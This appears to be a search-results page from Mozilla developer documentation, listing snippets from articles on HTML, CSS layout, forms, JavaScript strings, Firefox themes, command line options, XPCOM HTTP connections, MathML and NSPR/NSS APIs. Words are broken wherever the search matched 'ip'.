ing it with a simple html template, and inserting the below code into it at the appropriate places. at the bottom of the section you can see a live example of what the final code should look like. first of all, we need some content to put into our columns. replace whatever is inside the body currently with the following: <h1>2 column layout example</h1> <div> <h2>first column</h2> <p> lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. duis felis orci, pulvinar id metus ut, rutrum luctus orci. cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula
ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex mal...
...quam nec lacus varius commodo et a urna. ut id ornare felis, eget fermentum sapien.</p> </div> <div> <h2>second column</h2> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus susc
ipit vel. mauris ultricies lectus sed lobortis finibus. vivamus eu urna eget velit cursus viverra quis vestibulum sem. aliquam tincidunt eget purus in interdum. cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </div> each one of the columns needs an outer element to contain its content and let us man
ipulate all of it at once. in this example case we've chose...
...t as a gutter between the two columns, giving the content some space to breathe. now we just need to float the columns, like so: div:nth-of-type(1) { width: 48%; float: left; } div:nth-of-type(2) { width: 48%; float: right; } putting this all together should give us a result like so: simple two-column layout <h1>2 column layout example</h1> <div> <h2>first column</h2> <p>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. duis felis orci, pulvinar id metus ut, rutrum luctus orci. cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. sed auctor cursus massa at porta. integer ligula
ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex mal...
...And 5 more matches
Responsive design - Learn web development
atured desktop version of the site. flexible layout before responsive design a number of approaches were developed to try to solve the downsides of the liquid or fixed-width methods of building websites. in 2004 cameron adams wrote a post entitled resolution dependent layout, describing a method of creating a design that could adapt to different screen resolutions. this approach required javascr
ipt to detect the screen resolution and load the correct css. zoe mickley gillenwater was instrumental in her work to describe and formalize the different ways in which flexible sites could be created, attempting to find a happy medium between filling the screen or being completely fixed in size. responsive design the term responsive design was coined by ethan marcotte in 2010 and described the u...
...ame narrower than the image's intrinsic size, but never grow larger. this enables an image to scale down to fit in a flexibly-sized column, rather than overflow it, but not grow larger and become pixellated if the column becomes wider than the image. the third key component was the media query. media queries enable the type of layout switch that cameron adams had previously explored using javascr
ipt, using only css. rather than having one layout for all screen sizes, the layout could be changed. sidebars could be repositioned for the smaller screen, or alternate navigation could be displayed. it is important to understand that responsive web design isn't a separate technology -- it is a term used to describe an approach to web design or a set of best practices, used to create a layout tha...
... the user's needs. for example, the following media query tests to see if the current web page is being displayed as screen media (therefore not a printed document) and the viewport is at least 800 pixels wide. the css for the .container selector will only be applied if these two things are true. @media screen and (min-width: 800px) { .container { margin: 1em 2em; } } you can add mult
iple media queries within a stylesheet, tweaking your whole layout or parts of it to best suit the various screen sizes. the points at which a media query is introduced, and the layout changed, are known as breakpoints. a common approach when using media queries is to create a simple single-column layout for narrow-screen devices (e.g mobile phones), then check for larger screens and implement a mu...
...And 5 more matches
What text editors are available? - Learn web development
elming, since a text editor is so basic to computer science (yes, web development is computer science). ideally, you'd try as many editors as you can and get a feel for what suits your workflow. but we'll give you some pointers for getting started. here are the primary questions you should consider: which os (operating system) do i want to work with? what kind of technologies do i want to man
ipulate? what kind of basic features do i expect from my text editor? do i want to add extra features to my text editor? do i need support/help while using my text editor? does my text editor's look-and-feel matter to me? notice we didn't mention price. obviously, that matters too, but a product's cost has little connection with its quality or capability. there's a big chance you'll find a sui...
...buntu, your best bet is to search within the ubuntu software center. in general, of course, the linux/unix world is a pretty diverse place where different distros work with different, incompatible packaging systems. that means, if you've set your heart on an obscure text editor, you may have to compile it from source yourself (not for the faint-hearted). what kind of technologies do i want to man
ipulate? generally speaking, any text editor can open any text file. that works great for writing notes to yourself, but when you're doing web development and writing in html, css, and javascr
ipt, you can produce some pretty large, complex files. make it easier on yourself by choosing a text editor that understands the technologies you're working with. many text editors help you out with features l...
...that understands the technologies you're working with. many text editors help you out with features like: syntax highlighting. make your file more legible by color-coding keywords based on the technology you're using. code completion. save you time by auto-completing recurring structures (for example, automatically close html tags, or suggesting valid values for a given css property). code sn
ippets. as you saw when starting a new html document, many technologies use the same document structure over and over. save yourself the hassle of retyping all this by using a code sn
ippet to pre-fill your document. most text editors now support syntax highlighting, but not necessarily the other two features. make sure in particular that your text editor supports highlighting for html, css, and ja...
...And 5 more matches
Advanced form styling - Learn web development
], input[type="datetime-local"], input[type="color"], select { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } label { margin-bottom: 5px; } button { width: 60%; margin: 0 auto; } note: if you want to test these examples across a number of browsers simultaneously, you can find it live here (also see here for the source code). also bear in mind that we've added some javascr
ipt to the page that lists the files selected by the file picker, below the control itself. this is a simplified version of the example found on the <input type="file"> reference page. as you can see, we've done fairly well at getting these to look uniform across modern browsers. we've applied some global normalizing css to all the controls and their labels, to get them to size in the same way, a...
...lor when set on the <option> elements, chrome won't. neither of them will apply any kind of spacing (e.g. padding). the same is also true of the autocomplete list that appears for the datalist. if you really need full control over the option styling, you'll have to either use some kind of library to generate a custom control, or build your own custom control, or in the case of select use the mult
iple attribute, which makes all the options appear on the page, sidestepping this particular problem: <select id="select" name="select" mult
iple> ... </select> of course, this might also not fit in with the design you are going for, but it's worth noting! date input types the date/time input types (datetime-local, time, week, month) all have the same major associated issue. the actual containi...
...check out styling cross-browser compatible range inputs with css on css tricks for a detailed write up of what's needed. color input types input controls of type color are not too bad. in supporting browsers, they tend to just give you a block of solid color with a small border. you can remove the border, just leaving the block of color, using ...
...And 5 more matches
The HTML5 input types - Learn web development
. e-mail address field this type of field is set using the value email for the type attribute: <input type="email" id="email" name="email"> when this type is used, the user is required to type a valid email address into the field. any other content causes the browser to display an error when the form is submitted. you can see this in action in the below screenshot. ...
...ype a valid email address into the field. any other content causes the browser to display an error when the form is submitted. you can see this in action in the below screenshot. you can also use the mult
iple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by commas): <input type="email" id="email" name="email" mult
iple> on some devices -- notably, touch devices with dynamic keyboards like smart phones -- a different virtual keypad might be presented that is more suitable for entering email addresses, including the @ key. see the firefox for android keyboard screenshot below for an example: note: you can find examples of the basic text input types at basic input examples (see the source code also). this...
...client-side validation as you can see above, email, along with other newer input types, provides built-in client-side error validation -- performed by the browser before the data gets sent to the server. it is a helpful aid to guide users to fill out a form accurately, and it can save time -- it is useful to know that your data is not correct immediately, rather than having to wait for a round tr
ip to the server. but it should not be considered an exhaustive security measure! your apps should always perform security checks on any form-submitted data on the server-side as well as the client-side, because client-side validation is too easy to turn off, so malicious users can still easily send bad data through to your server. read website security for an idea of what could happen; implementin...
...And 5 more matches
How to structure a web form - Learn web development
rst widget, "fruit juice size medium" for the second, and "fruit juice size large" for the third. the use case in this example is one of the most important. each time you have a set of radio buttons, you should nest them inside a <fieldset> element. there are other use cases, and in general the <fieldset> element can also be used to section a form. ideally, long forms should be spread across mult
iple pages, but if a form is getting long and must be on a single page, putting the different related sections inside different fieldsets improves usability. because of its influence over assistive technology, the <fieldset> element is one of the key elements for building accessible forms; however it is your responsibility not to abuse it. if possible, each time you build a form, try to listen to h...
...something like "name, edit text". there is another way to associate a form control with a label -- nest the form control within the <label>, implicitly associating it. <label for="name"> name: <input type="text" id="name" name="user_name"> </label> even in such cases however, it is considered best practice to set the for attribute to ensure all assistive technologies understand the relationsh
ip between label and widget. if there is no label, or if the form control is neither implicitly or explicitly associated with a label, and a screenreader will read out something like "edit text blank", which isn't very helpful at all. labels are clickable, too! another advantage of properly set up labels is that you can click or tap the label to activate the corresponding widget. this is useful f...
...f the taste_cherry checkbox: <form> <p> <input type="checkbox" id="taste_1" name="taste_cherry" value="cherry"> <label for="taste_1">i like cherry</label> </p> <p> <input type="checkbox" id="taste_2" name="taste_banana" value="banana"> <label for="taste_2">i like banana</label> </p> </form> note: you can find this example in checkbox-label.html (see it live also). mult
iple labels strictly speaking, you can put mult
iple labels on a single widget, but this is not a good idea as some assistive technologies can have trouble handling them. in the case of mult
iple labels, you should nest a widget and its labels inside a single <label> element. let's consider this example: <p>required fields are followed by <abbr title="required">*</abbr>.</p> <!-- so this: --> <div...
...And 5 more matches
Front-end web developer - Learn web development
along. each section includes exercises and assessments to test your understanding before you move forward. subjects covered the subjects covered are: basic setup and learning how to learn web standards and best practices (such as accessibility and cross-browser compatibility) html, the language that gives web content structure and meaning css, the language used to style web pages javascr
ipt, the scr
ipting language used to create dynamic functionality on the web tooling that is used to facilitate modern client-side web development. you can work through sections in order, but each one is also self-contained. for example, if you already know html, you can sk
ip ahead to the css section. prerequisites you don't need any previous knowledge to start this course. all you need is a com...
...ted with the web module first. getting help we have tried to make learning front-end web development as comfortable as possible, but you will probably still get stuck because you don't understand something, or some code is just not working. don't panic. we all get stuck, whether we are beginner or professional web developers. the learning and getting help article provides you with a series of t
ips for looking up information and helping yourself. if you are still stuck, feel free to post a question on our discourse forum. let's get started. good luck! the learning pathway getting started time to complete: 1.5-2 hours prerequisites nothing except basic computer literacy. how will i know i'm ready to move on? there are no assessments in this part of the course. but make sure you don'...
...r looking up information and helping yourself. if you are still stuck, feel free to post a question on our discourse forum. let's get started. good luck! the learning pathway getting started time to complete: 1.5-2 hours prerequisites nothing except basic computer literacy. how will i know i'm ready to move on? there are no assessments in this part of the course. but make sure you don't sk
ip. it is important to get you set up and ready to do work for exercises later on in the course. guides installing basic software -- basic tool setup (15 min read) background on the web and web standards (45 min read) learning and getting help (45 min read) semantics and structure with html time to complete: 35-50 hours prerequisites nothing except basic computer literacy, and a basic web...
...And 5 more matches
Getting started with HTML - Learn web development
s that include lists of block and inline elements. see block-level elements and inline elements. empty elements not all elements follow the pattern of an opening tag, content, and a closing tag. some elements consist of a single tag, which is typically used to insert/embed something in the document. for example, the <img> element embeds an image file onto a page: <img src="https://udn.realityr
ipple.com/samples/d5/2be21e0477.png"> this would output the following: note: empty elements are sometimes called void elements. attributes elements can also have attributes. attributes look like this: attributes contain extra information about the element that won't appear in the content. in this example, the class attribute is an identifying name used to target the element with style inf...
...ment another example of an element is <a>. this stands for anchor. an anchor can make the text it encloses into a hyperlink. anchors can take a number of attributes, but several are as follows: href: this attribute's value specifies the web address for the link. for example: href="https://www.mozilla.org/". title: the title attribute specifies extra information about the link, such as a descr
iption of the page that is being linked to. for example, title="the mozilla homepage". this appears as a toolt
ip when a cursor hovers over the element. target: the target attribute specifies the browsing context used to display the link. for example, target="_blank" will display the link in a new tab. if you want to display the linked content in the current tab, just omit this attribute. edit the...
... counts as a valid doctype. that is all you need to know! <html></html>: the <html> element. this element wraps all the content on the page. it is sometimes known as the root element. <head></head>: the <head> element. this element acts as a container for everything you want to include on the html page, that isn't the content the page will show to viewers. this includes keywords and a page descr
iption that would appear in search results, css to style content, character set declarations, and more. you'll learn more about this in the next article of the series. <meta charset="utf-8">: this element specifies the character set for your document to utf-8, which includes most characters from the vast majority of human written languages. with this setting, the page can now handle any textual con...
...And 5 more matches
Images in HTML - Learn web development
embed the image like so: <img src="dinosaur.jpg"> if the image was in an images subdirectory, which was inside the same directory as the html page (which google recommends for seo/indexing purposes), then you'd embed it like this: <img src="images/dinosaur.jpg"> and so on. note: search engines also read image filenames and count them towards seo. therefore, you should give your image a descr
iptive filename; dinosaur.jpg is better than img835.png. you could embed the image using its absolute url, for example: <img src="https://www.example.com/images/dinosaur.jpg"> but this is pointless, as it just makes the browser do more work, looking up the
ip address from the dns server all over again, etc. you'll almost always keep the images for your website on the same server as your html. ...
...eferred to as replaced elements. this is because the element's content and size are defined by an external resource (like an image or video file), not by the contents of the element itself. note: you can find the finished example from this section running on github (see the source code too.) alternative text the next attribute we'll look at is alt. its value is supposed to be a textual descr
iption of the image, for use in situations where the image cannot be seen/displayed or takes a long time to render because of a slow internet connection. for example, our above code could be modified like so: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"> the easiest way to test your alt text is to purposely...
...ks, you can also add title attributes to images, to provide further supporting information if needed. in our example, we could do this: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" height="341" title="a t-rex on display in the manchester university museum"> this gives us a toolt
ip on mouse hover, just like link titles: however, this is not recommended -- title has a number of accessibility problems, mainly based around the fact that screen reader support is very unpredictable and most browsers won't show it unless you are hovering with a mouse (so e.g. no access to keyboard users). if you are interested in more information about this, read the trials and tribulations of...
...And 5 more matches
Responsive images - Learn web development
ctor graphics). this is called the resolution switching problem. conversely, it is unnecessary to display a large image on a screen significantly smaller than the size it was meant for. doing so can waste bandwidth; in particular, mobile users don't want to waste bandwidth by downloading a large image intended for desktop, when a small image would do for their device. ideally, you would have mult
iple resolutions available and serve the appropriate size depending upon the device accessing the data on the website. to make things more complicated, some devices have high resolution screens that need larger images than you might expect to display nicely. this is essentially the same problem, but in a slightly different context. you might think that vector images would solve these problems, and...
...kb -- a saving of 65kb. now, imagine if this was a page that had many pictures on it. using this technique could save mobile users a lot of bandwidth. note: when testing this with a desktop browser, if the browser fails to load the narrower images when you've got its window set to the narrowest width, have a look at what the viewport is (you can approximate it by going into the browser's javascr
ipt console and typing in document.queryselector('html').clientwidth). different browsers have minimum sizes that they'll let you reduce the window width to, and they might be wider than you'd think. when testing it with a mobile browser, you can use tools like firefox's about:debugging page to inspect the page loaded on the mobile using the desktop developer tools. to see which images were loade...
...t" content="width=device-width">: this forces mobile browsers to adopt their real viewport width for loading web pages (some mobile browsers lie about their viewport width, and instead load pages at a larger viewport width then shrink the loaded page down, which is not very helpful for responsive images or design). ...
...And 5 more matches
Useful string methods - Learn web development
very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascr
ipt is. objective: to understand that strings are objects, and learn how to use some of the basic methods available on those objects to man
ipulate strings. strings as objects most things are objects in javascr
ipt. when you create a string, for example by using let string = 'this is my string'; your variable becomes a string object instance, and as a result has a large number of...
...zilla". to actually update the value of the browsertype variable in a real program, you'd have to set the variable value to be the result of the operation; it doesn't just update the substring value automatically. so you'd have to actually write this: browsertype = browsertype.replace('moz','van'); active learning examples in this section we'll get you to try your hand at writing some string man
ipulation code. in each exercise below, we have an array of strings, and a loop that processes each value in the array and displays it in a bulleted list. you don't need to understand arrays or loops right now -- these will be explained in future articles. all you need to do in each case is write the code that will output the strings in the format that we want them in. each example comes with a "re...
...(); }; test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on -- see test your skills: strings. conclusion you can't escape the fact that being able to handle words and sentences in programming is very important -- particularly in javascr
ipt, as websites are all about communicating with people. this article has given you the basics that you need to know about man
ipulating strings for now. this should serve you well as you go into more complex topics in the future. next, we're going to look at the last major type of data we need to focus on in the short term -- arrays. previous overview: first steps next in this module w...
...And 5 more matches
Aprender y obtener ayuda - Learn web development
me time into learning a new set of skills, but there are good practices to employ that will make your learning more effective. there are also are times when you'll get stuck and feel frustrated -- even professional web developers feel like this regularly -- and it pays to know about the most effective ways to try and get help so you can progress in your work. this article provides some hints and t
ips in both of these areas that will help you get more out of learning web development, as well as further reading so you can find out more information about each sub-topic should you wish.. effective learning let's move straight on and think about effective learning. different learning methods it is interesting to consider that there are two main ways in which your brain learns things -- focuse...
... developer in three months. i want to start my own company and build a social network that will out-perform facebook, in two years. what do you need to get there? once you've worked out your goal, it is a good idea to research what you'll need to achieve the goal. for example: materials i need: a computer internet access pens and paper knowledge i need: how to use html, css, javascr
ipt, and associated tools and best practices to build web sites and web applications (we can definitely help you with this one!). how to get a domain, hosting, and use them to put a web site or application online. how to run a small business. how to advertise my business and attract clients. how much time and money will it take? estimate the time and cost of getting these things. if you'll nee...
...t, then most of this planning is done for you -- lucky you! when you have worked out a weekly schedule, then you should keep a record of what you manage to do each week in a simple spreadsheet or even in a notebook! ...
...And 5 more matches
Ember resources and troubleshooting - Learn web development
objective: to provide further resource links and troubleshooting information. ...
... objective: to provide further resource links and troubleshooting information. ...
... our final ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascr
ipt features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to provide further resource links and troubleshooting information. further resources ember.js guides tutorial: super rentals ember.js api documentation ember.js discord server -- a forum/chat server where you can meet the ember community, a...
...And 5 more matches
Ember app structure and componentization - Learn web development
objective: to learn how to structure an ember app, and then break that structure into components. ...
... objective: to learn how to structure an ember app, and then break that structure into components. ...
...is article we'll get right on with planning out the structure of our todomvc ember app, adding in the html for it, and then breaking that html structure into components. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascr
ipt features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to structure an ember app, and then break that structure into components. planning out the layout of the todomvc app in the last article we set up a new ember project, then added and configured our css styles. at this point we add some html, pl...
...And 5 more matches
Theme concepts
these theme options can be implemented as static themes (although the theme images themselves may be animated) or as dynamic themes created in a browser extension. if you have a lightweight theme it will be converted to this new theme format automatically before lightweight themes are deprecated. ...
... not need to port your theme. however, please feel free to update your themes to use any of the new features described here. static themes static themes are specified using the same resources as a browser extension: a manifest.json file to define the theme components with those components stored in the same folder as the manifest.json file or a sub folder. these resources are then packed in a z
ip for publication on addons.mozilla.org (amo) or for self-distribution. for more information on self-distribution, visit signing and distributing your add-on. you can also use the theme generator on amo to create a static theme. additionally, firefox color can be used to preview customizations to the browser's theme with options to share and export a theme. a theme and browser extension function...
... heading area background color for your theme. "tab_background_text": the color of the text in the heading area. package your theme and submit it to amo, following these instructions. themes can be submitted to amo for hosting or for self-distribution. static theme approaches there are two approaches you can take to theming the header area of firefox: using a single image or using mult
iple images. you could combine the two, but it's easier to treat them separately. single image themes this is the basic or minimal theming option, where you define: a single image, which is anchored to the top right of the header area. a color for the text in the header. the area your header image needs to fill is a maximum of 200 pixels high. the maximum image width is determined by the res...
...And 5 more matches
Command line options
you can also control how mozilla applications open, which components open initially, and what the components do when they open. this page describes the commonly used options and how to use them. you can open the command line interface by pressing shift + f2. syntax rules but first, let's describe the syntax rules that apply for all options. command parameters containing spaces must be enclosed in quotes, such as "joel user". ...
... command parameters, except profile names, are case insensitive. blank spaces ( ) separate commands and parameters. each message option follows the syntax field=value, for example: to=foo@nowhere.net subject=cool page attachment=www.mozilla.org attachment='file:///c:/test.txt' body=check this page or also in thunderbird 52 and newer: body=c:\path\to\file.txt separate mult
iple message options by comma (,), for example: "to=foo@nowhere.net,subject=cool page" . comma separators must not follow or precede spaces ( ). to assign mult
iple values to a field, enclose the values in single quotes ('), for example: "to='foo@nowhere.net,foo@foo.de',subject=cool page" . using command line options command line options follow the command to start the application. if the option ...
...d line options command line options follow the command to start the application. if the option contains arguments, enter the argument after the option. some options have abbreviations, for example, "-editor" can be abbreviated as "-edit" (available abbreviations are described in the text below). in some cases, option arguments must be enclosed in quotation marks (this is noted in the option descr
iptions below). mult
iple command line options can be specified. in general, the syntax is as follows: application -option -option "argument" -option argument examples the following examples show the use of the "-profilemanager" command, which will open the profile manager prior to starting firefox or thunderbird: windows select run from windows start menu. enter the following command: firefox...
...And 5 more matches
Creating Sandboxed HTTP Connections
introduction starting with gecko 1.8.1 (firefox 2), it is possible to create sandboxed http connections which don't affect the user's cookies. this article will cover the basics of doing http connections from xpcom javascr
ipt, and should easily translate to c++ xpcom. setting up an http connection the first step in setting up an http connection from an url (stored in a string) is to create an nsiuri out of it. nsiuri is an xpcom representation of an uri, with useful methods to query and man
ipulate the uri. to create an nsiuri from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioser...
...d a context that is passed to the listener's methods. channel.asyncopen(listener, null); http notifications the above mentioned listener is a nsistreamlistener, which gets notified about events such as http redirects and data availability. onstartrequest - gets called when a new request is initiated. ondataavailable - new data is available. since this is a stream, it could be called mult
iple times (depending on the size of the returned data, networking conditions, etc). onstoprequest - the request has finished. onchannelredirect - when a redirect happens, a new nsichannel is created, and both the old and new ones are passed in as arguments. since nsistreamlistener does not cover cookies, the current channel being used will need to be stored as a global, since another listener...
...request has finished. onchannelredirect - when a redirect happens, a new nsichannel is created, and both the old and new ones are passed in as arguments. since nsistreamlistener does not cover cookies, the current channel being used will need to be stored as a global, since another listener will be used for cookie notifications (covered in the next section). it is usually best to use a javascr
ipt wrapper that implements all the required methods and calls the specified callback function when the connection has completed. below is an example: // global channel var gchannel; // init the channel // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ...
...And 5 more matches
Developer guide
la developers a directory of articles which are particularly helpful for new mozilla developers. working with mozilla source code a code overview, how to get the code, and the coding style guide. build instructions how to build firefox, thunderbird, seamonkey, or other mozilla applications. development process overview an overview of the entire mozilla development process. ...
.... working with mozilla source code a code overview, how to get the code, and the coding style guide. build instructions how to build firefox, thunderbird, seamonkey, or other mozilla applications. development process overview an overview of the entire mozilla development process. managing mult
iple profiles when working with prerelease versions of firefox, it's often helpful to have mult
iple firefox profiles, such as one for each channel, or for different kinds of testing. ...
...s overview an overview of the entire mozilla development process. managing mult
iple profiles when working with prerelease versions of firefox, it's often helpful to have mult
iple firefox profiles, such as one for each channel, or for different kinds of testing. getting documentation updated how to ensure that documentation is kept up to date as you develop. mozilla modules and module ownersh
ip this article provides information about mozilla's modules, what the role of a module owner is, and how module owners are selected. code sn
ippets useful code samples for a wide variety of things you might need to figure out how to do. ...
...And 5 more matches
Message manager
message managers provide a way for chrome-privileged javascr
ipt code to communicate across process boundaries. they are particularly useful for allowing chrome code, including the browser's code and extension's code, to access web content while the browser is running web content in a separate process. these guides explain how to use message managers in mult
iprocess firefox. note that none of this requires mult
iprocess firefox: everything described here will work with single-process firefox, so the same code will work on both variants. ...
...and extension's code, to access web content while the browser is running web content in a separate process. these guides explain how to use message managers in mult
iprocess firefox. note that none of this requires mult
iprocess firefox: everything described here will work with single-process firefox, so the same code will work on both variants. ...
...wser is running web content in a separate process. these guides explain how to use message managers in mult
iprocess firefox. note that none of this requires mult
iprocess firefox: everything described here will work with single-process firefox, so the same code will work on both variants. ...
...And 5 more matches
Localization content best practices
on tools, others prefer to work directly with text editors and don't have problems working with vcs systems. it's important to consider this when adding strings, and especially localization comments for strings that contain references, or obscure technical details. localization files choose good key ids the ids (names) chosen for your keys, regardless of the file format, should always be descr
iptive of the string, and its role in the interface (button label, title, etc.). think of them as long variable names. when you have to change a key id, adding a progressive number to the existing key should always be used as a last resort. for example, suppose this string needs to be changed from "event" to "add new event": new-event-header = event add-new-event-header is definitely a better choi...
...as long variable names. when you have to change a key id, adding a progressive number to the existing key should always be used as a last resort. for example, suppose this string needs to be changed from "event" to "add new event": new-event-header = event add-new-event-header is definitely a better choice for the new string than new-event-header1. if a string is tied to an accesskey or a toolt
ip, use string ids that highlight this relation: neweventbtn.label = add event neweventbtn.accesskey = a neweventbtn.toolt
ip = add a new event don't duplicate ids if you're adding new strings, check that you're not duplicating an existing id. depending on the parser logic, one of these two translations will be ignored. add localization notes localizers usually work on the localizable files wit...
..., ask a copywriter to do a copy review of this text. ideally, all strings landing in code should originate from approved ux wireframes, any copy review should be part of the initial stage of creating these wireframes. use unicode characters over their ascii counterparts when possible strings should use directional quotation marks when possible. u+2018 and u+2019 (\u2018 and \u2019 in javascr
ipt) are the left and right single quotation marks, respectively. the right single quotation mark should be used as an apostrophe. u+201c and u+201d (\u201c and \u201d in javascr
ipt) are the left and right double quotation marks, respectively. the pair should be used to surround statements and references to user input. example: you have chosen a keyword that is currently in use by "%s". plea...
...And 5 more matches
Basics
-> maps to y = f n ( x ) = ( 1 + 1 x n ) n ? a b f ( x ) d x = b - a 6 [ f ( a ) + 4 f ( a + b 2 ) + f ( b ) ] - ( b - a ) 5 4 ! 5 ! f ( 4 ) ( ? ) , a <= ? <= b | x | = { - x if x < 0 x otherwise you can also typeset 2d mathematical constructs such as matrices. the following example shows the i-th step of the mult
iplication of a matrix a by a vector x (notice how ai1 , ... , ain , x1 are on the same baseline, other alignments are possible): i-th row [ a11 a12 a13 ... a1n : : : ... : ai1 ai2 ai3 ... ain : : : : an1 an2 an3 ... a n n ] [ x1 x2 x3 : xn ] in mozilla, mathml runs inside the ...
...c effects a 2 + b 2 = c 2 , or use color a 2 + b 2 = c 2 in very strange ways p(x) q(x) = a0 + a1x + a2 x2 + ... + an-1 xn-1 b0 + b1x + b2 x2 + ... + bn-1 xn-1 . you can also do other weird and risky things which are not portable, bongo warns, such as mixing mathml with other markups lizard + bongo = ? a b d x + mathml and javascr
ipt html content <p> and you can turn to javascr
ipt and the dom for dynamic operations. </p> <div style="text-align:center"> fill the gaps in this matrix with resizable input fields. </div> <math class="inputmath" display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext><input id="input12" value="?" size="1"/></mtext> </mtd> </mtr> <mtr> <mtd> <...
...s="inputmath" display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext><input id="input12" value="?" size="1"/></mtext> </mtd> </mtr> <mtr> <mtd> <mtext><input id="input21" value="?" size="1"/></mtext> </mtd> <mtd><mn>4</mn></mtd> </mtr> </mtable> <mo>]</mo> </mrow> </math> <div style="text-align:center"> left size: <a class="control" href="javascr
ipt:incrementinput('input21', 1);" title="increase input">+</a> <a class="control" href="javascr
ipt:incrementinput('input21',-1);" title="decrease input">-</a> right size: <a class="control" href="javascr
ipt:incrementinput('input12', 1);" title="increase input">+</a> <a class="control" href="javascr
ipt:incrementinput('input12',-1);" title="decrease input...
...And 5 more matches
Performance
the articles linked to from here will help you improve performance, whether you're developing core mozilla code or an add-on. documentation reporting a performance problem a user friendly guide to reporting a performance problem. a development environment is not required. benchmarking t
ips on generating valid performance metrics. ...
... scroll-linked effects information on scroll-linked effects, their effect on performance, related tools, and possible mitigation techniques. ...
...etrics. performance best practices in extensions a performance "best practices" guide for extension developers. measuring add-on startup performance a guide for add-on developers on how to set up a performance testing environment. xul school: add-on performance t
ips for add-on developers to help them avoid impairing application performance. gpu performance t
ips for profiling and improving performance when using a gpu. ...
...And 5 more matches
NSPR Error Handling
ions error codes for information on naming conventions for nspr types, functions, and macros, see nspr naming conventions. error type prerrorcode error functions pr_seterror pr_seterrortext pr_geterror pr_getoserror pr_geterrortextlength pr_geterrortext error codes error codes defined in prerror.h: pr_out_of_memory_error insufficient memory to perform request. pr_bad_descr
iptor_error the file descr
iptor used as an argument in the preceding function is invalid. pr_would_block_error the operation would have blocked, which conflicts with the semantics that have been established. pr_access_fault_error one of the arguments of the preceding function specified an invalid memory address. pr_invalid_method_error the preceding function is invalid for the type of file de...
... pr_illegal_access_error one of the arguments of the preceding function specified an invalid memory address. pr_unknown_error some unknown error has occurred. pr_pending_interrupt_error the operation terminated because another thread has interrupted it with pr_interrupt. pr_not_implemented_error the preceding function has not been implemented. ...
...d has interrupted it with pr_interrupt. pr_not_implemented_error the preceding function has not been implemented. pr_io_error the preceding i/o function encountered some sort of an error, perhaps an invalid device. pr_io_timeout_error the i/o operation has not completed in the time specified for the preceding function. pr_io_pending_error an i/o operation has been attempted on a file descr
iptor that is currently busy with another operation. pr_directory_open_error the directory could not be opened. pr_invalid_argument_error one or more of the arguments to the function is invalid. pr_address_not_available_error the network address (prnetaddr) is not available (probably in use). pr_address_not_supported_error the type of network address specified is not supported. pr_is_connec...
...And 5 more matches
Network Addresses
if used consistently, this api also eliminates the need to deal with the byte ordering of network addresses. typically, the only numeric declarations required are the well-known port numbers that are part of the prnetaddr structure. ...
... if used consistently, this api also eliminates the need to deal with the byte ordering of network addresses. typically, the only numeric declarations required are the well-known port numbers that are part of the prnetaddr structure. ...
... if used consistently, this api also eliminates the need to deal with the byte ordering of network addresses. typically, the only numeric declarations required are the well-known port numbers that are part of the prnetaddr structure. ...
...And 5 more matches
nss tech note3
usagesslserver ........... an ordinary ssl server cert certusagesslserverwithstepup.. an ssl server cert that allows export clients to use strong crypto. certusagesslca ............... an intermediate or root ca cert allowed to issue ssl client or ssl server certs or other intermediate ssl ca certs. certusageemailsigner ......... used to verify s/mime email signatures certusageemailrec
ipient ...... used to encrypt s/mime emails. certusageobjectsigner ........ used to verify signatures on files of executable code, e.g. jar files. certusagestatusresponder ..... used by an ocsp responder certusageverifyca ............ a ca of any kind. each cert has a "type" and a "key usage", each of which may contain one or more valid values. each of the above seccertusages translates into ...
...into another set of required cert type and key usage for all the ca certs in the cert chain. to determine if a cert is valid for a given cert usage, it must have the the cert type and key usage required for that cert usage, and all the ca certs in the cert chain must have the cert type and key usage required for ca certs for that cert usage. ...
... certs in the cert chain. to determine if a cert is valid for a given cert usage, it must have the the cert type and key usage required for that cert usage, and all the ca certs in the cert chain must have the cert type and key usage required for ca certs for that cert usage. ...
...And 5 more matches
JS::Add*Root
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. rt jsruntime * the runtime in which to add the new root. vp js::heap<js::value...
